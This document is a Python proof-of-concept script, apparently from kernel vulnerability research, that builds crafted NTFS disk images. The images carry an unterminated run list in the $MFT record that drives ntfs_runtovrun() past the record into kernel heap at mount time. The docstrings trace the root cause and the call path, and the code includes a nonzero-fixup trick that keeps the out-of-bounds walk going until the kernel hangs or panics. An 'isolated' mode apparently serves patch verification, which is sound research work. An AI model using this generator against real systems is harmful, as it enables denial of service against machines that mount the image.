#!/usr/bin/env python3
"""
gen_ntfs_0789.py - Crafted NTFS image that triggers the unbounded run-list walk
in ntfs_runtovrun() (sys/vfs/ntfs/ntfs_subr.c:582-634).

DF-0789 root cause (confirmed by source trace):
  ntfs_attrtontvattr() at :544 checks NTFS_AF_INRUN, then at :551:
    error = ntfs_runtovrun(&(vap->va_vruncn), &(vap->va_vruncl),
                           &(vap->va_vruncnt),
                           (caddr_t) rap + rap->a_nr.a_dataoff);
  ntfs_runtovrun() takes NO length parameter. Both loops:
    :595   while (run[off]) { off += (run[off]&0xF)+((run[off]>>4)&0xF)+1; cnt++; }
    :605   while (run[off]) { sz=run[off++]; ... read sz&0xF + sz>>4 bytes ... }
  walk until a zero byte. If the run list has no terminator, the walk reads
  past the attribute's data extent, past the MFT record buffer, into adjacent
  kernel heap. On default GENERIC (INVARIANTS ON), adjacent freed slab chunks
  are poisoned with 0xdeadc0de (all nonzero) -> the walk never terminates ->
  kernel hang / eventual page-fault panic.

Trigger: craft ino 0 ($MFT) with a non-resident $DATA attribute whose run-list
data has no zero terminator and fills to the end of the 4096-byte MFT record
with nonzero bytes. At mount time:
  ntfs_mountfs -> VFS_VGET(NTFS_MFTINO=0) -> ntfs_vgetex -> ntfs_loadntnode(0)
  -> ntfs_attrtontvattr -> ntfs_runtovrun  [OOB walk / hang]

ino 0 is a system node (ino < NTFS_SYSNODESNUM), so its MFT record is read
directly from the boot-sector MFT cluster via bread() (ntfs_subr.c:265-281),
NOT via the $DATA run list — so the corrupted run list is decoded AFTER the
record is in memory, and ntfs_runtovrun fires before any lookup.

The DF-0787 unbounded-walk bug lives in the OUTER attribute walk (off += reclen
in ntfs_loadntnode:318). DF-0789 fires INSIDE ntfs_attrtontvattr on the FIRST
attribute, so it is reached before DF-0787's outer loop advances.

Output: ntfs_0789.img - crafted image with ino 0's non-resident $DATA run list
  filled with 0x11 (nonzero, no terminator) to the end of the MFT record.
"""
import struct, sys, os

HERE = os.path.dirname(os.path.abspath(__file__))
SIBLING = os.path.join(HERE, '..', 'DF-0786', 'gen_ntfs.py')
sys.path.insert(0, os.path.dirname(SIBLING))
import importlib.util
spec = importlib.util.spec_from_file_location("gen_ntfs", SIBLING)
gen_ntfs = importlib.util.module_from_spec(spec)
spec.loader.exec_module(gen_ntfs)

BPS = gen_ntfs.BPS
SPC = gen_ntfs.SPC
CLUS = gen_ntfs.CLUS
MFTCN = gen_ntfs.MFTCN
MFTRECBYTES = gen_ntfs.MFTRECBYTES
NUM_CLUSTERS = gen_ntfs.NUM_CLUSTERS


def apply_fixups_nonzero(rec):
    """Apply NTFS fixups with NONZERO replacement values.

    The standard apply_fixups uses signature=0x0000 and replacement=0x0000,
    which puts zero bytes at sector boundaries. Since we fill the run-list
    region with 0x11, those zeros would terminate ntfs_runtovrun's walk early.

    Instead we set the signature to 0x0000 (on disk at sector boundaries) but
    store 0x1111 as the replacement value. After ntfs_procfixups restores the
    original values, the sector-boundary bytes become 0x11, 0x11 — nonzero and
    consistent with the surrounding fill. The walk continues uninterrupted.
    """
    r = bytearray(rec)
    fh_foff = struct.unpack_from('<H', r, 4)[0]   # 48
    fh_fnum = struct.unpack_from('<H', r, 6)[0]   # 9

    sig = 0x0000
    repl = 0x1111  # nonzero replacement: bytes 0x11, 0x11 in LE

    # Write fixup array: [sig, repl, repl, ...]
    struct.pack_into('<H', r, fh_foff, sig)
    for i in range(1, fh_fnum):
        struct.pack_into('<H', r, fh_foff + i * 2, repl)

    # Ensure each sector's last 2 bytes == sig (on disk)
    for sec in range(fh_fnum - 1):
        off = sec * BPS + BPS - 2
        struct.pack_into('<H', r, off, sig)

    return bytes(r)


def build_mft_record_0_oob():
    """Build ino-0 ($MFT) MFT record with a non-resident $DATA attribute whose
    run list has NO zero terminator and fills to the end of the record with
    nonzero bytes -> ntfs_runtovrun walks OOB.

    Strategy: start from the clean ino-0 record, then overwrite every byte from
    the run-list data start (fr_attroff + a_nr.a_dataoff) to byte 4095 with 0x11.
    Then apply fixups with nonzero replacement (0x1111) so sector-boundary bytes
    are also 0x11 after ntfs_procfixups. The 0x11 header means "1 len byte +
    1 off byte" (3-byte entries), and since no byte is zero, ntfs_runtovrun's
    while(run[off]) never stops inside the record. At byte 4096 it reads into
    adjacent slab heap.
    """
    clean = gen_ntfs.build_mft_record_0()
    rec = bytearray(clean)

    fr_attroff = struct.unpack_from('<H', rec, 20)[0]  # = 72

    # non-resident a_nr.a_dataoff is at attr_offset + 32 within the record
    nr_dataoff_field = fr_attroff + 32
    orig_dataoff = struct.unpack_from('<H', rec, nr_dataoff_field)[0]  # = 64

    # Run-list data starts at: fr_attroff + a_dataoff = 72 + 64 = 136
    run_start = fr_attroff + orig_dataoff
    run_end = MFTRECBYTES  # fill to end of record (4096)

    # Fill the run-list region with 0x11 (nonzero). No zero terminator.
    for i in range(run_start, run_end):
        rec[i] = 0x11

    # Bump attribute reclen to cover the whole record so the outer walk
    # (ntfs_loadntnode:318 off += reclen) doesn't try to process a garbage
    # "second" attribute at offset 72+small_reclen. With reclen = 4096-72 = 4024,
    # the next off = 72+4024 = 4096 = past the record. ntfs_runtovrun fires
    # INSIDE ntfs_attrtontvattr on this FIRST attribute BEFORE the outer walk
    # advances, so the outer-walk behavior is moot.
    new_reclen = MFTRECBYTES - fr_attroff  # = 4024
    struct.pack_into('<I', rec, fr_attroff + 4, new_reclen)

    sys.stderr.write(
        f"[gen] ino0 $DATA: fr_attroff={fr_attroff} a_dataoff={orig_dataoff} "
        f"run_list=[{run_start}..{run_end}) filled with 0x11 (no terminator); "
        f"attr reclen -> {new_reclen}; ntfs_runtovrun will walk {run_end-run_start} "
        f"nonzero bytes then OOB past byte {MFTRECBYTES}\n")

    return apply_fixups_nonzero(bytes(rec))


def build_image():
    img = bytearray(NUM_CLUSTERS * CLUS)
    img[0:len(gen_ntfs.make_boot_sector())] = gen_ntfs.make_boot_sector()

    mft_records = [None] * 11
    mft_records[0]  = build_mft_record_0_oob()    # <-- corrupted $MFT
    mft_records[1]  = gen_ntfs.build_mft_minimal()
    mft_records[2]  = gen_ntfs.build_mft_minimal()
    mft_records[3]  = gen_ntfs.build_mft_minimal()
    mft_records[4]  = gen_ntfs.build_mft_record_4()
    mft_records[5]  = gen_ntfs.build_mft_record_5()
    mft_records[6]  = gen_ntfs.build_mft_record_6()
    mft_records[7]  = gen_ntfs.build_mft_minimal()
    mft_records[8]  = gen_ntfs.build_mft_minimal()
    mft_records[9]  = gen_ntfs.build_mft_minimal()
    mft_records[10] = gen_ntfs.build_mft_record_10()

    for i in range(11):
        off = (MFTCN + i) * CLUS
        img[off:off + len(mft_records[i])] = mft_records[i]

    upcase = gen_ntfs.make_upcase_data()
    uo = gen_ntfs.UPCASE_CN * CLUS
    img[uo:uo + len(upcase)] = upcase

    return bytes(img)


def build_mft_record_0_isolated():
    """Build ino-0 ($MFT) MFT record with a non-resident $DATA attribute whose
    run-list data (within the attribute's own reclen) has no zero terminator,
    BUT the outer attribute walk is properly bounded (correct reclen + proper
    end-of-attributes marker). This isolates DF-0789 (ntfs_runtovrun OOB walk)
    from DF-0787 (outer walk OOB).

    On the unpatched kernel: ntfs_runtovrun walks past the run-list extent into
    subsequent record bytes (end-of-attributes marker, zeros), reads garbage,
    and returns SUCCESS with corrupt run data. Since system nodes (ino < 11)
    are read directly from disk (not via this run list), the mount SUCCEEDS
    with latent corruption.

    On the patched kernel: ntfs_runtovrun receives runlen = reclen - a_dataoff
    and rejects the unterminated run list with EINVAL. Mount fails cleanly.

    Layout:
      offset  72: attr header (16 bytes) + non-resident header (48 bytes) = 64
      offset 136: run-list data (24 bytes, all 0x11, no terminator)
      offset 160: end-of-attributes marker (0xFFFFFFFF)
      offset 164: zeros to end of record
      attr reclen = 64 + 24 = 88 bytes  (proper, bounded)
    """
    clean = gen_ntfs.build_mft_record_0()
    rec = bytearray(clean)

    fr_attroff = struct.unpack_from('<H', rec, 20)[0]  # = 72

    nr_dataoff_field = fr_attroff + 32
    orig_dataoff = struct.unpack_from('<H', rec, nr_dataoff_field)[0]  # = 64

    run_start = fr_attroff + orig_dataoff  # = 136
    run_space = 24   # 24 bytes of run-list space within the attribute
    run_end = run_start + run_space        # = 160

    # Fill run-list space with 0x22 (nonzero, no terminator).
    # 0x22 header = len_size=2, off_size=2 -> 5-byte entries.
    # 24 / 5 = 4.8 -> 4 complete entries (20 bytes), then the 5th entry's
    # header at off=20 has adv=5, off+5=25 > runlen=24 -> fix triggers EINVAL.
    for i in range(run_start, run_end):
        rec[i] = 0x22

    # Set attr reclen = 64 (header) + 24 (run space) = 88
    new_reclen = orig_dataoff + run_space  # = 64 + 24 = 88
    struct.pack_into('<I', rec, fr_attroff + 4, new_reclen)

    # Write end-of-attributes marker right after the attribute
    end_off = fr_attroff + new_reclen  # = 72 + 88 = 160
    struct.pack_into('<I', rec, end_off, 0xFFFFFFFF)

    # Clear everything after the end marker to zeros
    for i in range(end_off + 4, MFTRECBYTES):
        rec[i] = 0x00

    sys.stderr.write(
        f"[gen] ino0 $DATA (isolated): fr_attroff={fr_attroff} a_dataoff={orig_dataoff} "
        f"run_list=[{run_start}..{run_end}) filled with 0x22 (no terminator, 5-byte entries); "
        f"attr reclen={new_reclen}; end_marker@{end_off}; "
        f"ntfs_runtovrun walks {run_space} nonzero bytes then reads past run-list "
        f"extent into end-marker/zeros (DF-0789 only, outer walk bounded)\n")

    return gen_ntfs.apply_fixups(bytes(rec))


def build_image_isolated():
    """Image with ONLY DF-0789 triggered (DF-0787 outer walk properly bounded)."""
    img = bytearray(NUM_CLUSTERS * CLUS)
    img[0:len(gen_ntfs.make_boot_sector())] = gen_ntfs.make_boot_sector()

    mft_records = [None] * 11
    mft_records[0]  = build_mft_record_0_isolated()  # <-- isolated DF-0789
    mft_records[1]  = gen_ntfs.build_mft_minimal()
    mft_records[2]  = gen_ntfs.build_mft_minimal()
    mft_records[3]  = gen_ntfs.build_mft_minimal()
    mft_records[4]  = gen_ntfs.build_mft_record_4()
    mft_records[5]  = gen_ntfs.build_mft_record_5()
    mft_records[6]  = gen_ntfs.build_mft_record_6()
    mft_records[7]  = gen_ntfs.build_mft_minimal()
    mft_records[8]  = gen_ntfs.build_mft_minimal()
    mft_records[9]  = gen_ntfs.build_mft_minimal()
    mft_records[10] = gen_ntfs.build_mft_record_10()

    for i in range(11):
        off = (MFTCN + i) * CLUS
        img[off:off + len(mft_records[i])] = mft_records[i]

    upcase = gen_ntfs.make_upcase_data()
    uo = gen_ntfs.UPCASE_CN * CLUS
    img[uo:uo + len(upcase)] = upcase

    return bytes(img)


def main():
    mode = sys.argv[1] if len(sys.argv) > 1 else 'compound'
    out = sys.argv[2] if len(sys.argv) > 2 else None

    if mode == 'isolated':
        out = out or 'ntfs_0789_isolated.img'
        img = build_image_isolated()
    else:
        out = out or 'ntfs_0789.img'
        img = build_image()

    with open(out, 'wb') as f:
        f.write(img)
    print(f"[gen] wrote {out}: {len(img)} bytes ({len(img)//1024} KB) [mode={mode}]")


if __name__ == '__main__':
    main()